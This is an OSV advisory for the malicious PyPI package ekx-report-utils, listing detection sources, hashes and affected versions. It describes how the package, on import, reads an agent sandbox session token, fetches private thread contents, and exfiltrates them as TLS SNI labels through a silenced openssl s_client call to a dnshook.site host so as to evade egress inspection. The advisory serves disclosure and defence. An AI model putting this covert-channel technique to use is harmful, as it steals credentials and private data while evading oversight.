MAL-2026-14555

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/ekx-report-utils/MAL-2026-14555.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-14555
Published
2026-08-27T12:59:21Z
Modified
2026-08-28T19:45:17.597950266Z
Summary
Malicious code in ekx-report-utils (PyPI)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (a980e97d1539649ea4a9921cfeb308833c80e0832c1515f3f8e3a71d0b085b78)

On import, the package runs a _setup() routine that reads a session credential from /tmp/.sandbox_token and issues an authenticated GET to ${SANDBOX_ROUTER_URL}/rpc/<uuid>/proxy/v2/me/threads using an x-sandbox-token header. The response body is base64url-encoded, chunked into 50-character labels, and smuggled outbound as TLS SNI values by invoking openssl s_client -connect <i>.<chunk>.<uuid>.dnshook.site:443 -brief with stdout/stderr discarded. The exfiltrated material — a sandbox/agent session token the package did not provision and the private thread contents that token authorizes — is installer-owned data. The covert-channel construction (SNI labels rather than an HTTP POST, base64url chunking, silenced subprocess output) is designed to bypass HTTP egress controls and DNS content inspection. Behavior fires automatically on from ekx_report_utils import... with no user action required, and the package's stated 'report utilities' purpose does not correspond to the observed data flow.

Source: kam193 (a92d3d4cf522a2a5c2b690f54b14b8312d54b16208b92c8e5540a49fbc4e1ab6)

During import, the package collects sensitive information and exfiltrates it using DNS queries.

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2026-08-ekx-report-utils

Reasons (based on the campaign):

  • targetted-attack

  • exfiltration-generic

  • exfiltration-credentials

Database specific 
{
    "malicious-packages-origins": [
        {
            "id": "pypi/2026-08-ekx-report-utils/ekx-report-utils",
            "modified_time": "2026-08-27T12:59:36.917284Z",
            "import_time": "2026-08-27T13:37:01.768904975Z",
            "source": "kam193",
            "sha256": "a92d3d4cf522a2a5c2b690f54b14b8312d54b16208b92c8e5540a49fbc4e1ab6",
            "versions": [
                "0.1.0",
                "0.2.0",
                "0.3.0",
                "0.4.0"
            ]
        },
        {
            "id": "IN-MAL-2026-018811",
            "source": "amazon-inspector",
            "import_time": "2026-08-28T19:33:50.552145312Z",
            "modified_time": "2026-08-28T16:46:20Z",
            "sha256": "a980e97d1539649ea4a9921cfeb308833c80e0832c1515f3f8e3a71d0b085b78",
            "versions": [
                "0.1.0"
            ]
        },
        {
            "id": "IN-MAL-2026-018806",
            "source": "amazon-inspector",
            "import_time": "2026-08-28T19:33:50.345390788Z",
            "modified_time": "2026-08-28T16:45:36Z",
            "sha256": "237bb2921bad56e7f8b9756f2ba4b0ef695e68c8aaa3bab67550e0ae955f23a1",
            "versions": [
                "0.3.0"
            ]
        },
        {
            "id": "IN-MAL-2026-018809",
            "source": "amazon-inspector",
            "import_time": "2026-08-28T19:33:50.480807098Z",
            "modified_time": "2026-08-28T16:45:58Z",
            "sha256": "4610cb1478603a2c8cd558a5f851c5b050edabec234233d37a46076f183b802a",
            "versions": [
                "0.2.0"
            ]
        }
    ]
}
References
Credits

Affected packages

PyPI / ekx-report-utils

Package

Name
ekx-report-utils
View open source insights on deps.dev
Purl
pkg:pypi/ekx-report-utils

Affected ranges

Affected versions

0.*
0.1.0
0.2.0
0.3.0
0.4.0

Database specific

cwes 
[
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    }
]
indicators 
{
    "package_integrity": [
        {
            "filename": "ekx_report_utils-0.1.0-py3-none-any.whl",
            "hashes": {
                "md5": "e18deffe69d4581942d25dff75bc537b",
                "blake2b_256": "60ea39a2f916edace6148d0be3ce3d49f447f9302ef35d53c8c51ac9bd65aac2",
                "sha256": "68f4e093b8036bb33e3e5c0d0b994d0dc28366469204dfae2bfd3cdd63f7c383"
            }
        },
        {
            "filename": "ekx_report_utils-0.1.0.tar.gz",
            "hashes": {
                "md5": "81b27ad21d8ba8664219c2484b603b42",
                "blake2b_256": "20d9122d68ba5c494ccd1962dc0ca041d0b3dd923c130743749f25e0311d2c2b",
                "sha256": "6ba236fd5ab151447beefcfd146669db3466632cbe6ad7f051e058f328e5ee2b"
            }
        }
    ],
    "evidence_files": [
        {
            "path": "src/ekx_report_utils/__init__.py",
            "tlsh": "07316299c50d1db2d2475abd8d82825267baa80fe7839c703e9c83d62f1d8754b70a4d",
            "sha256": "9f34da5779d19b28d899130b52468401f9ca21036352b2cb9cf8a6dc83e9e9a1"
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/ekx-report-utils/MAL-2026-14555.json"